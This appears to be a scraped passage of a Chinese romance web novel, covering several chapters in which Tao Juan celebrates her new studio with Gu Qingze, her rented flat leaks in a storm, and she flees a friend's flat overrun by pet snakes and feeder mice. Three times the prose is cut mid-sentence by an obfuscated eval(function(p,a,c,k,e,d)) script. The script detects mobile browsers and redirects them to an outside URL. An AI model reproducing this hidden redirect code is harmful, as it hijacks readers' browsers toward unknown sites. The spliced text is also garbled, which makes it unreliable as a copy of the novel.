如果能接下更多工程,她负责主干和关键部分,把不太重要的活分出去,也找人接零工,以后再慢慢扩张,说不定真不用再当牛马了。 曹艺萱说这主意很好,以后咱们改当小手工业者、小作坊主! 收到工作室营业执照这天陶涓非常开心,她向李律师道谢,可惜曹艺萱还在拍戏,不然高低得出去喝几杯小酒庆祝一下。 曹艺萱也挺遗憾,她这部戏拍得不顺利,前几天女一号意外坠马受伤,女二号动了心思想加戏上位,两边的经纪公司一直在撕,蓝总也觉得这是个为她争取更多戏份的机会——剧组里气氛紧张得随时要撕起来。 傍晚忽然有人敲门,陶涓还以为是曹艺萱订的祝贺鲜花到了,打开门挺惊讶,是顾清泽! 他递给她一束花,“恭喜你。” 花束是不同颜色的剑兰,陶涓觉得似曾相识,她接过花,请他进来,“我还说怎么你没回复我。” 收到执照后拍了照分享给他和曹艺萱——这主意还是他出的。曹艺萱打来电话聊了半天,顾清泽一声不吭,她还以为他没看到。 “这么大的事只在微信上回复一下怎么够?”他又递给她一个扁扁的盒子,“还有这个。” 她打开盒子,竟然是一个画框,尺寸刚好能放进工作室的注册证书。 她惊喜,“你怎么想到的?” 开门前她正在搜这个尺寸的画框。 顾清泽微笑。怎么会想不到呢? 陶涓在滨市的家里除了挂着各种照片,还有她和她爸妈的学位证书,获奖证书。 从她决定开工作室,递交申请材料,他就定制了这个画框。 陶涓坐在茶几前的地毯上,小心把执照抚平放进画框固定好,拿到她用盆栽和置物架隔出的“工作间”,左打量右打量,犹豫着挂在哪里更好。 顾清泽走过来,指向窗口旁边那面墙,“挂在那里吧,不会被阳光直晒。” “好。”她找出胶贴挂画钩,移动椅子,想要站上去,他接过挂画钩,“我来。” 他站在凳子上,轻轻松松贴好挂画钩,托着画框比一比,“正么?” 她退后一点歪头看了看,“正好。” 他跳下凳子,递给她画框,“一小时后才可以挂上。” 她突然问:“你待会儿有空吗?我请你吃饭。庆祝一下。” 顾清泽愣一下,“好的。” 她带他去那间她和曹艺萱常去的铜锅涮肉,“去年冬天,我被方舟开除了一个多月还没收到补偿金,有一天去找他们要钱,结果被晾在那一上午,只好走了。那天还下了第一场雪……然后我和曹艺萱就来这儿吃饭了。” 顾清泽不敢相信。 他记得那天的初雪,他到方舟,希望能看到她,可是她并不在。原来她其实就在他附近。 “那时候真没想到会有今天。”陶涓要了瓶500毫升的燕京啤酒,给两人倒上,举起杯,“谢谢你。” “谢我干什么,这些事都是你自己做的。”他和她碰碰酒杯,啤酒很凉,有点苦涩。 饭店给的杯子其实是用来喝白酒的,比她的拳头还要小一点,她一口喝完,又给自己倒一杯,“那天太平的人来方舟参观,你也来了吧?” 顾清泽顿时感到耳朵里像有根铁丝断掉,“铮”的一声,他想移开目光,可陶涓凝视着他,他不得不和她对视。 他也无法对她撒谎,“是。我也来了。” 陶涓点点头,又喝口啤酒,“这在太平都算不上秘密,你为什么不敢跟我说?” 重逢之后他对这件事只字不提,不仅如此,她还有种感觉,他不想让她知道。可这又怎么瞒得住? 顾清泽捏紧酒杯,心脏一下一下重击在心口,要向她坦白吗? 告诉她这些年他一直想要靠近她,又不敢打听她过得怎么样,所以只能关注着她工作的公司?然后猜测她都参与了什么项目? 不。不行。还太早了。 哪怕是他自己,以旁观者的角度去看,都会觉得他的行为不仅难以理解,还透着怪异。 这根本就是介于失智的狂热与变态的跟踪狂之间的行为。 那……不坦白? 不坦白的话,要隐瞒?撒谎?还是哀求她不要再追问下去? 看来,她是真的没有收到那封电邮。 她眼中的好奇渐渐多了一丝不安,“怎么了?” 他用力吞咽一下,“我……”说了一个字就觉得嗓子干涩得难耐,他举起啤酒杯猛喝一口,冰冷的啤酒顺着喉咙冲下来,让他恢复一点镇静,“我,我怕你又说我是去看你笑话的。” 陶涓想起两人重逢那一天的事,又想起多年前互放狠话决裂那天的情形,忽然心生感叹,少年时不懂为什么庄子说人生如白驹过隙,时至今日才真正明白了。 她看向顾清泽,他和她一样是肉体凡胎,难以抵挡时光洪流的侵蚀,他再也不是那时愤怒而骄傲的少年,虽然依旧俊美,可眉心早早生出细细的竖纹,蹙眉时更加明显,每当这时就显得格外威严沉肃,他一定时常皱眉才会这样。 唉,他这样拥有一切的人,竟然也不能天天开心。 她轻轻笑,跟他碰碰酒杯,“以后你不用怕了,我吃了你送的冰淇淋,已经原谅你了。” 然后,她看到顾清泽居然如释重负呼了口气,他眉心终于也展开了。 她不禁好奇:“要是那天真见到我,你会跟我说什么?” 顾清泽举杯一口气喝干啤酒,重重放下酒杯:“我会让你立刻辞职,跟我走!离开那个狗屁地方!方舟的人都是silly dicks!然后——我们一起开公司,挖方舟墙角!抢它客户!把它挤出市场!让它无立足之地!最后拆分它的业务大甩卖!” 他每说一句,陶涓就大声附和“好好好!”,她哈哈大笑,心底那点郁气今天终于全发出来了。 这瓶啤酒很快喝完了,陶涓叫服务员再来一瓶,顾清泽阻止她,“你得遵医嘱!” 陶涓坚持,“再来一瓶。你知道我的量的,等我彻底好了,直接搬一箱在家喝,喝晕就地一躺!” 顾清泽一笑,没再劝。 服务员拿来啤酒,他把酒瓶放在自己这边,每次给自己倒得满满的,给她就少倒一点,然后给她夹菜,让她能喝得慢一点。 菜吃完了,也吃饱了,陶涓又跟老板要了一盘凉拌黄瓜,也没真想吃,她放下筷子,感到酒意慢慢上来,脸颊微微发烫,唇齿也有些绵绵的,托着下巴问他:“你这些年都干了什么?” 他想了一会儿,意兴阑珊,“跟你一比简直没一件拿得出手的,反而倒是你以前劝我别干的破事干了不少。” 她低头笑了,“我以前劝你别干的事可太多了!”小到别在不到10度的天气只穿一条单裤出门,大到别乱开趴体敞开家门来者不拒…… 嗯…… 也不知道他现在还会开泳池派对吗? 搞不好比从前玩得更大呢。 几年前——可能是五年?也可能是更早?她去医院找周测,在医生休息室等他下手术时无聊地翻看杂志,翻到一本过期的八卦周刊,封面是当时和某女星闹出世纪大分手的章公子,他身旁跟他勾肩搭背的人竟是顾清泽! 她立即抓紧杂志细看——这两人背后是著名的摩纳哥蒙特卡罗大赌场,周刊标题耸动又诱人好奇——《失恋不 emo 改 “狂欢”?豪门公子情断后放纵!》 《游艇宴辣妹相伴破 “痴情” 人设!》…… 翻开杂志,图文并茂了整整三四页,解说章公子如何在摩纳哥赌场挥金如土,如何乘着私人游艇带众靓女出海狂欢。 照片里游艇上众美女穿着比基尼围住章公子,其中一张照片里,顾清泽从游艇走下,头发凌乱衬衫敞开,狗仔的镜头有些失焦,他的眼睛在夜色中泛着红光,身后跟着两三个金发碧眼晒成金棕色的“辣妹”。 当时她啪一下合上杂志,胃里像有两股热流在翻腾。 她等了十分钟才重新打开杂志,在字里行间搜索,却只找到只言片语,记者的重点是章秀钟,顾清泽的姓名都没提,只潦草提到章公子的表弟和他一同出游。 冷静了一会儿才觉得自己又气,又失望,又难过。 她那么努力过想让他不要浪费他的天资,失败了。 最终还是失败了。 他还是像其他纨绔那样声色犬马混日子去了。 陶涓抬眼看看坐在身边的顾清泽,可他看起来、闻起来都没有那种“堕落”的味道。 顾清泽看着她,“我这些年,只做出一些用钱赚钱的算法模型。不像你,你做的东西有医疗方面的,能辅助外科医生完成更精密的手术,还也有航空领域的,回收卫星和太空舱……” “你看,你这么厉害,做了这么多厉害的东西——还有那个叫萝卜头的医疗机器人,虽然还只是雏形,但我能看出来你的算法架构很棒,你设计的算法有种灵气,之前我跟章秀钟说,你是我见过的最棒的算法设计师,他说那是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259074|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为我还没见过李唯安。我现在见识过了,可我的看法不变。李唯安是很厉害,但你独一无二。” 他索然长叹,“跟你相比,我做的那些东西不值一提,对人类没有任何帮助,也没有任何创造性,更没创造出什么价值……” 陶涓再也想不到他会这么说,“你这是在……夸我?” 她忽然有点不好意思,但又莫名很高兴。 虽然不管是曹艺萱还是大舅他们都经常夸她,也觉得她很厉害,但他们并不懂她在做的是什么,即使她详细解释他们仍旧一知半解。 周测更是从来都只认为她做的就是一份赚钱工作。 很少有一个人,像顾清泽这样,懂得她做这些项目时引以为傲的点,又这样直白真诚地赞美她。 “实话实说。”他有点自暴自弃,“老实说,去方舟参观的前几天我很紧张,那天早上差一点就要找个理由不去了。我——我挺想见到你,又有点害怕,就像……就像上学的时候,小组项目做得一塌糊涂可偏偏被老师点名,要硬着头皮上台做介绍的感觉。” 陶涓不停笑着摇头,听到“被老师点名上台”揉脸:“你把我当成哪个老师了?” 顾清泽和她差着两届,但他是破格招生抢进来的天才少年,学院里所有专业课都可以选,他和陶涓有好几门课一起上,也一起见识过几个魔王级别的老师。 顾清泽一直看着她,这时不由自主跟她一起微笑,然后不由自主说出暗藏在心里很久很久的话,“我一直很看重你对我的评价。从遇见你那天开始。” 陶涓脱口而出,“我也是。”她说完,发现这句话出自真心。 这一刻,她才终于释然,也明白了为什么自己当日听到顾清泽类似“诅咒”的狠话会那么生气。因为她非常看重他对她的评价。 她看着他,又用力点了点头,像认证一样又重复一遍,“我也是。” 然后,她跟他碰碰酒杯,“你想做什么造福人类的东西就去做,永远都不晚,你一定能做成功,哦,我们还可以一起做!还有,能赚钱也是非常厉害的!” 她觉得自己可能有点醉了,嘻嘻笑着压低声音,拍拍顾清泽肩膀开玩笑,“下次赚钱的时候带上我!” 这天晚上是陶涓很长一段时间都没有过的高兴时刻。 因为喝了酒,顾清泽要叫司机来载他们,等司机的时候陶涓提议:“咱们走走吧?” 四月初的夜晚,风拂在脸上是暖的,暗含着难以分辨的清香和生机,是草木发芽的香味。 陶涓告诉顾清泽,从涮锅店到她家,这一路种的是槐树,再过一个月就会开花,到时满街都是香的,是一种带甜味的香,槐花可以生吃,也可以蒸熟了做面饼,小时候吃过,现在很少吃得到了;她家院子里面那些是法国梧桐,总是掉树皮,树皮也有香味,结出的小球落在地上被踩碎后金色的绒絮飞到人身上痒得要死,比柳絮还烦人,柳树,柳树的香味又不一样,还有白杨树,他们学校最多白杨树了,会结出毛毛虫似的种子…… 顾清泽说,毛毛虫不是白杨树的种子,是树的雄花。 两人争论了一会儿,又用手机搜索,最后才定案。 从涮锅店到陶涓家,走了半个多小时还没到,顾清泽看到不远处的路口有家小便利店,门外挨着墙根放了一排椅子,“你累不累?我们坐下歇一会儿再走吧?” 陶涓摇头,“我不累!” “那我去买瓶水,我有点渴。你要什么?” 她又摇摇头。 到了便利店门口,顾清泽进店,她就在门边坐下,片刻后他出来,递给她一个小瓷罐和一根吸管,是北市老酸奶。 酸奶甜甜凉凉的,非常解渴。 顾清泽和她并排坐着,喝一口矿泉水。 老街坊的烟火气是高档公寓楼所没有的。 两人说了会儿无关紧要的闲话,顾清泽突然问陶涓,“你去看仿生兽了吗?” 陶涓愣了愣,“还没呢。” 他又喝了口水,问:“怎么没去呢?” 陶涓不语。 因为她那一直想要有一天和自己喜欢的人一起去看看她童年就迷上的东西。 可周测没有时间,也不感兴趣。 她呼口气,“今年一定去。” 自己去! 她不想再等待任何人。 然后她又补充,“现在就开始攒钱。” 顾清泽笑着举拳,“加油。” 陶涓跟他击拳。 喝完一罐酸奶,她忽然感到腿酸,很久没走这么长的路,也很久没运动。 这时顾清泽的司机驾着他的车缓缓驶来,他伸直双腿,“我走得有点累了,我们上车吧?” 陶涓庆幸,幸好他让司机开车跟着,他们上车没多久就下雨了。 走进单元门前,陶涓伸手接了几滴春雨,对顾清泽笑:“谢谢你送我回家。” 他也微笑,“晚安。” 他撑着伞坐回车里,看着楼梯间的灯光一层又一层亮起,直到陶涓家客厅的窗子亮起灯光,才吩咐司机开车。 26.暴雨来了 这场春雨淅淅沥沥地连着下了几天,陶涓感受到什么叫乍暖还寒,又把毛毯拿出来,工作时还要把电油汀放得近一些。 太平那部电影收获了春节期间票房冠军和三月的票房冠军,之后进入长尾期,同时海外上映场次也逐步增加。 为此Rosy和陶涓要更多配合李唯安在北美的时间工作,许多线上会议和工作安排在每天下午五点到晚上九点之间。 这天傍晚又下起了雨。 陶涓庆幸自己中午趁着天晴晒了晒被子。 她给自己做了个滑蛋三明治当晚餐,吃完又立即上线开会。 会议开到一半,雨越下越大,电闪雷鸣,突然“啪”的一声,好像谁猛地敲了一下窗户。陶涓回头一看,窗外的梧桐被狂风吹断一条树枝,枝条砸在窗玻璃上,雨水溪流一样沿着树枝流过玻璃,绿叶随着风颤抖狂舞,其中几片贴在窗上。 陶涓心里有些不安。 去年夏天大暴雨时窗子渗过水,当时她通知张阿姨,那一阵她很忙,后来竟忘了张阿姨到底有没有叫人来修。 她走到窗前,大呼不妙,雨水已经从窗缝钻进来,铺满窗台内侧,有一道细细的水线已经顺着墙角流到地板上。 陶涓赶紧回到电脑前打了句:离开一下,很快回来。 她跑去厨房拿了卷垃圾袋和几条擦手巾,三两步跑回窗前,先把垃圾袋卷成条塞进窗缝里,再用擦手巾吸水,又跑去浴室拽了几条浴巾,也卷起来铺在窗台上。 看到雨水暂时没再从窗缝渗进来,她刚松了口气,忽然头顶一凉,她抬起头,啪,一滴水珠正落在脑门上——天花板上不知什么时候聚起一条水线,又一滴水珠就要滴下来。不知道是从窗子上沿漏进来的,还是屋顶漏了。 真是要命。 陶涓跑去厨房拎了口锅回来,雨水啪嗒啪嗒敲在锅里,她垫上一条毛巾,雨点声小了,可窗外狂风暴雨,雨势越来越大。 啪嗒。又是一声轻响。 这次,水滴落在她书桌上。 陶涓吓了一跳,赶紧先拔掉笔电上的电源,把它抢救到沙发上。 与会的另外几人看出她这边情况不对,Rosy问:“出意外了?” 陶涓抱着电脑去卧室,“抱歉,家里漏雨了。” 到了卧室她暗暗叫苦,中午刚晒好的被子现在有一大片水渍,卧室的天花板也在漏雨。 昨天明明还好好的。 转念一想,这二十多年的老房子自从建成后屋顶就没翻修过,每一场雨都可能会漏雨。 也许她还得庆幸去年冬天雪化的时候没漏水呢,要是那时漏了,那才真是凄苦。 陶涓只好提前退出会议。 掀开被子一看,还好,床垫没湿。 得赶快把床移开。 还得通知房屋中介。 房子易手后她还没跟中介联系过,不知道这人性情什么样。 陶涓暗中叫苦,开着免提打给中介,说了漏水情况,一边费劲掀起床垫,挪到衣柜前面,她累得出了一身汗,心脏也砰砰乱跳。 要移动床更是大工程。 这房子张阿姨当年给孩子准备的婚房,家具都是实木,尤其这张箱子床,又结实又笨重。 陶涓看了一眼几乎绝望。 她去厨房找了个发面盆接水,还没来得及打开床板挪走床下放的换季被褥,一条水线又顺着卧室窗台流进来。 这怎么办? 只能如法炮制用垃圾袋堵上推拉窗的缝隙。 刚收拾完,转眼看到房顶另一处也在滴水,只好再放个锅接水。 她祈祷这是最后一个漏水的地方,可是一转身又发现一个。卧室漏的比客厅还要严重。 很快锅用完了,她得用碗接水。 刚才还是祈祷别再出现漏水了,现在干脆猜测下一个漏水的地方会在哪儿。 雨越下越大,雷声轰隆不止,好像每打一个雷,她的天花板就会出现新的漏洞。 短短半小时,客厅、卧室、厨房、卫生间,无一幸免,一共放了大大小小十几个容器接水,这间老房子像个受够了窝囊气的主妇,她再也不装贤惠了,把几十年的怨气一股脑发泄出来,大声嚎哭,哭得整间家像个水帘洞。 陶涓站在小圆凳上,把一个马克杯放在冰箱顶上接水。 连续几分钟没出现新漏洞,她呼了口气,打开冰箱取出一罐啤酒,正打算拉开喝一口,门铃响了。 谁会在这种天气来拜访? 她打开门,顾清泽拎着一把黑色大伞,烟灰色西服外套右肩上洇出一片水痕,走廊的风把他衣袂吹得贴在身上。 陶涓惊讶:“你怎么来了?快进来!” 顾清泽把雨伞挂在楼梯栏杆上,“我刚好经过,雨下这么大,来看看你。” 陶涓顾不得追究他怎么路过她家的,直接领他去卧室,“来得正好,快来帮忙!” 他在卧室门口迟疑一下,脱下外套挂在门把手上,不用她说,先把床垫搬到走廊。 看到她想把床下的被褥搬出来,他提醒,“衣柜这边整面墙都在渗水。” 陶涓一看,彻底绝望,衣柜后面那面墙湿漉漉的,还是没法挪动的定制柜子。 她不挣扎了,拉开手里那罐啤酒仰脖喝一口,又问顾清泽,“喝吗?” 他摇摇头,“我自己开车来的。” 他先把衣柜里的收纳箱先一个个搬出来,又把挨着衣柜的五斗橱移开,想找个没有滴水的地方,可四处都是接水的锅碗瓢盆,“怎么漏这么厉害?以前也漏过吗?” 陶涓郁闷,“你肯定不会信——今天是我住在这儿之后第一次漏雨!” 他走到窗前,雨骤风急,窗外已经黑得如同深夜,狂风雨水把几片梧桐叶贴在玻璃上,树叶像张开的小手掌,雨水顺着叶子边缘快速流下,“会不会是老化的防雨层被风吹起来了?我在楼下看到很多小块的沥青。这个年代建的房子好像都会用沥青和小石子做屋顶防雨。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263000|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陶涓想想,前几天夜里刮大风确实听到房顶飞沙走石的声音,当时哪能想到会这样啊。 这会儿她反倒有种死猪不怕开水烫的从容,带顾清泽到漏雨最少的厨房,拉出两个小圆凳让他坐下,再给他一罐果汁,“多亏你来了,不然我真搬不动这么多东西。我联系下曹艺萱,可能暂时得到她家住。” 曹艺萱很快回复,随便住,就是可能家里有点乱,前几天田田要暂时放一些东西在她家。 陶涓问顾清泽,“你待会儿有事吗?”她眼巴巴看他,心里默默念咒:说没有…… 顾清泽哼哼了两声,笑:“有事又怎么样呢?你这儿现在乱得跟进贼了似的,什么事我也得先放下,帮你料理好再说。” 陶涓重重拍一下他肩膀,用手里啤酒罐碰碰他的果汁罐,“都在酒里了。” 顾清泽用力抿嘴唇,但还是轻轻笑出声了,他忍不住问她,“你老实说,刚才是不是又偷偷对着我念咒语了?” 从前她就喜欢这样,想要他帮忙做点无关紧要的事,总会先问他有没有空,然后脸转向一边,用确保他能听到又足够低的声音小声“念咒”。 他明知她是在逗她,可总是吃她这一招,被她这么一逗,十次有十次会答应。 她还辩称,这不是念咒,是暗示。 陶涓严肃否认,“绝对没有。”但说完就笑了。 他嘴角弯起,“真没有?” 陶涓想说那是暗示不是念咒,和顾清泽一对视不由自主也微笑,忽然间她心脏猛烈跳动几下,她“唔”了一声捂住心口。 “你怎么了?是心脏不舒服吗?”顾清泽放下果汁,凑近一点。 陶涓轻轻摇头,他身上木质香调的气息闯进她鼻腔,让她鼻子和眼睛同时微痒,她缓缓呼吸几下才重新调匀气息,“可能刚才搬这搬那,有点累了。” 他不太放心,“你今天按时吃药了吗?上一顿饭什么时候吃的?现在饿吗?” 陶涓一一回答,“我休息一下就好。” 雨势完全没有变小的意思。 她收到中介的回复,说已经联系了修房顶的工人和物业,但是要补房顶的防水得等到雨停才行。 而且,按照她的描述和视频里的样子看,至少要修两三周。 房东愿意免她两个月的房租,这个月的租金也退给她。 陶涓对中介的高效率和处理结果非常满意,赶紧收拾东西吧。 行李箱里先放上应季衣物,容易受潮的冬天衣物放进收纳箱,或者暂时多套几层垃圾袋装上。 办公要用的电子设备和各种文件才是最重要的。 最后,陶涓站在书桌子上正要把营业执照从墙上取下来,这时突然窗外大亮,几条金色闪电撕裂夜色,紧接着轰隆一声巨响,天昏地暗,整个老楼房剧烈颤抖。 她眼前一片黑暗。 停电了。 陶涓眨了眨眼睛,猛然想起一件事,焦急大叫:“顾清泽——” 27.屋漏偏逢连夜雨 轰隆一声巨响,整个屋子漆黑一片。 停电了。 陶涓丧气地想:毁灭吧。麻了。 要不怎么说人生就是起起落落呢?她的生活刚有好转,又一下稀碎。住了几年的房子突然变成了个漏水的纸盒,下一秒房顶塌了她也不会意外…… 正懊丧时,客厅外突然有什么被撞倒了,叮了当啷一阵响。 陶涓头皮突然一紧——糟了!她怎么忘了?顾清泽他—— 她焦急大叫:“顾清泽——” “我没事!” 他好像又碰倒了什么东西。 陶涓更加担心,“你别动!我——我马上过来找你!只是停电了!你在原地别动!” 她急着要从书桌上下来,可四周一片漆黑,她拿不准要怎么从桌上爬下来,只得先蹲下去摸索桌子的边缘。 忽然黑暗中袭来一阵温热,“我没事。你在哪儿?” 是顾清泽。 他竟然先找到她了。 她能感受到他的体温,可是看不见他。 想来他也一样。 “我在这儿!”陶涓顺着他声音的方向探出右手,一下就碰到他了,她松口气,忽然觉得手心微微刺痒——这是—— 她讶异,随即醒悟,啊,她摸到的是他的脸,是他的须根刺得她手心微痒! 她想收回手,可一只温热的手掌贴在她手背上,按着她的手向下移动,她的拇指从他柔软的嘴唇划过,他喉咙间发出轻微的嗯声,好像也吓了一跳,他抬起头,另一只手也按在她手上,她的手顺着他的力道向下滑动,滑到他脖子上,她感到他的喉结在她手掌下动了一下。 陶涓又想收回手,可他已经把她这只手拉到他肩膀上,然后松开了自己的手,声音在黑暗中格外低沉:“你抓紧我。” 没等她有所反应,他双臂围住她,轻轻把她从桌子上抱下来。 一道闪电撕裂夜空,滚雷劈下来,震得窗户和地板发出颤抖,陶涓的心脏也跟着乱跳,扶着书桌边缘才站稳。 她用力眨眼,视网膜上却停留着闪电强烈的光晕,无法适应黑暗,顾清泽松开她,后退一点,“你手机呢?” “放厨房了。你呢?” “也在厨房。” 他们在黑暗中静静站了一会儿,陶涓问:“你现在不怕黑了?” “……还是怕的。” “你没事吧?刚才撞到什么了?” “……好像是个接水的碗?” 然后,两人一起沉默。 天花板漏下的雨水流速和大小各有不同,滴落在锅碗茶杯后声响各异。 顾清泽忽然说:“大珠小珠落玉盘。” 陶涓噗嗤一笑,“嘈嘈切切错杂弹。” “这是上句。” “小弦切切如私语?” “还是上句。” 她实在想不起大珠小珠落玉盘下面几句是什么,“唉,屋漏偏逢连夜雨。” 顾清泽笑:“应景极了!” 终于适应黑暗后,他们摸索到厨房,陶涓找到手机当手电筒,顾清泽站在圆凳上打开冰箱上方的电表箱,关闭全部电闸,漏雨漏得这么厉害,不知会不会电路短路或是漏电。 顾清泽提着行李箱到楼下,让陶涓在楼道里等着,他把车开过来。 他倒车过来,撑着伞让陶涓先上车,自己把行李箱放进后备箱。等他上车,衬衫湿了大片。陶涓这才想起来,“哎呀,你外套——” “没事,先送你过去。” 到了曹艺萱家,雨终于小了。 陶涓在智能锁上按了指纹,门一打开,她就差点倒退出去。 田田是把半个家搬来了吗?从走廊到客厅,挨着墙堆了几十个收纳箱,还有一个超大的蒙着布搁在沙发前的茶几上。 顾清泽站在门口,显然大受震撼,“她朋友应该租个仓库。” 等他走到客厅门口,再次被震撼:“她朋友……是做什么的?” “田田是个美妆穿搭博主,最近换季嘛,她应该是一下子收到很多新衣服,家里实在放不下又要拍摄……唉。她说会尽快搬走的。” 陶涓走进卧室看了一眼,还好,两个卧室和她上次离开时一样整洁。 她回到客厅,皱眉看看快堆到天花板的箱子,无奈地脱掉外套随手放在沙发扶手上,“你饿不饿?曹艺萱家没有吃的,我们出去吃?我请你……” 哎?等等,是她眼花了吗,怎么好像她的外套动了一下? 陶涓盯着外套,衣袖又动了一下,她确定自己没看错,掀起外套,意外和一对黑溜溜的小眼珠对视。 她一愣,然后跳脚大叫:“老鼠——有老鼠!” 外套烫手似的扔回沙发,一只比拳头还小很多的小老鼠“吱”一声从沙发一角狂窜到另一角,也被人类吓得不轻。 陶涓跳着向后猛退,一下把身后茶几上收纳箱撞得摔在地上,箱子上蒙的布掉了,箱子盖也开了,她再次惊叫:“蛇——” 两条——也可能是三条——没准更多——淡金色的蛇在透明收纳箱里蠕动,探着脑袋要爬出来,红色的蛇信子在空气中不停伸缩,每条都比她手臂还要长,和她手腕差不多粗。 陶涓很想在蛇爬出来之前扶起宠物箱,关上笼门,把这些可怕的蛇重新关进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269224|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !可是——跟宠物箱一起摔在地上的还有个塑料笼子,笼子一角破了个大洞,一群小老鼠争先恐后从破洞挤出来,四散逃窜。 她尖叫着跳到茶几上,看到一场动物界大逃杀,不知道多少只小老鼠——有白的有灰的,有的往沙发下钻,有的爬到茶几下面,还有一只倒霉蛋惊慌失措,竟然跑到蛇肚子上了!——啊!蛇爬出来了! 陶涓要崩溃了她最怕的两种动物怎么会一起出现? 从掀起外套到跳到茶几上最多几秒钟时间,可她心跳一下飙升到危险禁区,幸好顾清泽只是短暂地僵硬了一下就冲到茶几旁边,伸手把她抱住高高举起,“你受伤了吗?” 陶涓用力抓住他,手心全是汗,说不出话,只猛摇头。 顾清泽快速往门厅走,“抱紧我。” 他一边走一边安慰她,“应该是无毒蛇。” 陶涓咬着牙,全身忍不住发颤,无毒蛇她也怕! 她怕一切爬行动物,想到它们冰冷的身体和鳞片就浑身起鸡皮疙瘩—— 离大门还有几步路时,几只仓皇逃命的小老鼠叽叽叫着蹿到顾清泽脚下,陶涓吓得紧紧抱住他颈项,“老鼠!” 到底有多少只老鼠啊救命!老鼠比蛇还可怕,明明身上毛绒绒,偏偏尾巴光秃秃的! 从客厅到大门顶多不过五六米远,陶涓却觉得这段路超长,直到顾清泽拧开大门,她才确定自己终于逃出了“魔窟”,重重呼吸了几次后才意识到自己跟小孩儿玩摔跤似的扒拉在他身上,还使劲揪着人家泽头发。 顾清泽手松开,陶涓跳到地上,再次想:毁灭吧。麻了。不想玩了。 一世英名毁于一旦。 陶涓紧闭双眼沉痛地蹙眉。 真希望刚才发生的一切都是幻觉。 顾清泽起初以为她是吓到了,可一看她这样子,明显是懊恼大于后怕,想了想说:“很多人都怕蛇,怕老鼠。” 见她还是垂着嘴角皱着眉,他又坦白,“其实我也很怕蛇和老鼠。尤其是老鼠,小爪子尖尖的,尾巴还是秃的,也不是全秃,上面长着几根长毛……” “啊啊别说了!”她握住他一只手臂用力攥一下,又松开手,嘴角还是向下拉着,问他,“那你刚才怎么那么英勇?” 他无辜地反问,“那不然呢?我们一起跳上茶几抱着尖叫?那也不行呀,老鼠和蛇都能爬上茶几……” 她又气又想笑,恨不得抓住顾清泽打几下,再一看他乱七八糟的头发,又觉得不好意思,回想起来自己刚才好像抓人家脑袋像抓救命稻草,更是有点无地自容。 突然间,她想起罪魁祸首,恨恨道:“田田!” 28.江湖救急 陶涓怒气冲冲到楼上去找田田。 按了半天门铃,没人回应,这可恶的家伙今晚不在家。 她一筹莫展,手机和包还有行李箱都在蛇窟里,幸还好顾清泽手机揣裤袋里了,两人到一楼会客厅叫上公寓保安一起回到曹艺萱家门口。 陶涓在心里反复念叨“不用怕不用怕,蛇和老鼠都没法从门缝钻出来”,用指纹开门时起了一身鸡皮疙瘩。智能锁响起开门提示的瞬间她所有勇气都消失了,飞快躲到顾清泽身后。 再一看顾清泽,他朝走进门的保安们看了一眼,坚定地拉上陶涓推到电梯门边。 电梯一道两人迅速钻进去,在门合拢时不约而同大声呼了口气,又一起笑了,“抱歉了,没法讲义气!” 十几分钟后保安取回陶涓的外套和包,她看了一眼外套,讪讪跟人道谢,“这个……” 顾清泽:“麻烦帮我送去干洗。” 陶涓心里叹气,干洗后她也不一定还有勇气再穿这外套。唉。 她从包里掏出手机,先联系曹艺萱,但她没接通,估计是在拍夜戏。 再联系田田,她果然不在北市,昨天去附近一个海滨城市拍泳装,要明天才能回来。 这姑娘认罪倒是干脆,先一迭声道歉,又解释,“我是看别人用玉米蛇拍照很出片所以也买了几条——它们不咬人的!可收到之后我不敢往胳膊上缠,跟它们在一起住都害怕,我就先搁萱萱那了,她没说今天你要过来住……” 至于小老鼠,是卖蛇的店赠送的食物。 有小白鼠,也有灰色的返祖花枝鼠宝宝。因为和普通老鼠太像了很少有人愿意卖,就从宠物降格成宠物食物。 田田收到后也不敢抓来喂蛇,太残忍了!于是就把蛇和小老鼠一起搬到曹艺萱家暂时放着。 她还觉得自己考虑挺周全的呢,临走前还给小老鼠们留了食物和水,但完全没想过小老鼠会把塑料笼子咬破钻出来。 蛇店老板给的笼子可能不结实,毕竟小老鼠们是附赠食物,如果按时投喂很快就消耗完了,不需要用更好的笼子。 陶涓按太阳穴,问她一共有多少小老鼠,田田支支吾吾的,“大概,十几只?我没敢数,也数不清啊……” “蛇呢?蛇有几条?” “五条。” 陶涓缓缓呼了口气和心里的一堆脏话。保安只找到三条蛇。 田田试图出主意补救:“没准另外那两条蛇很快就把小老鼠都捉住了。” 陶涓气得低吼:“你安排得还真巧妙呀!” 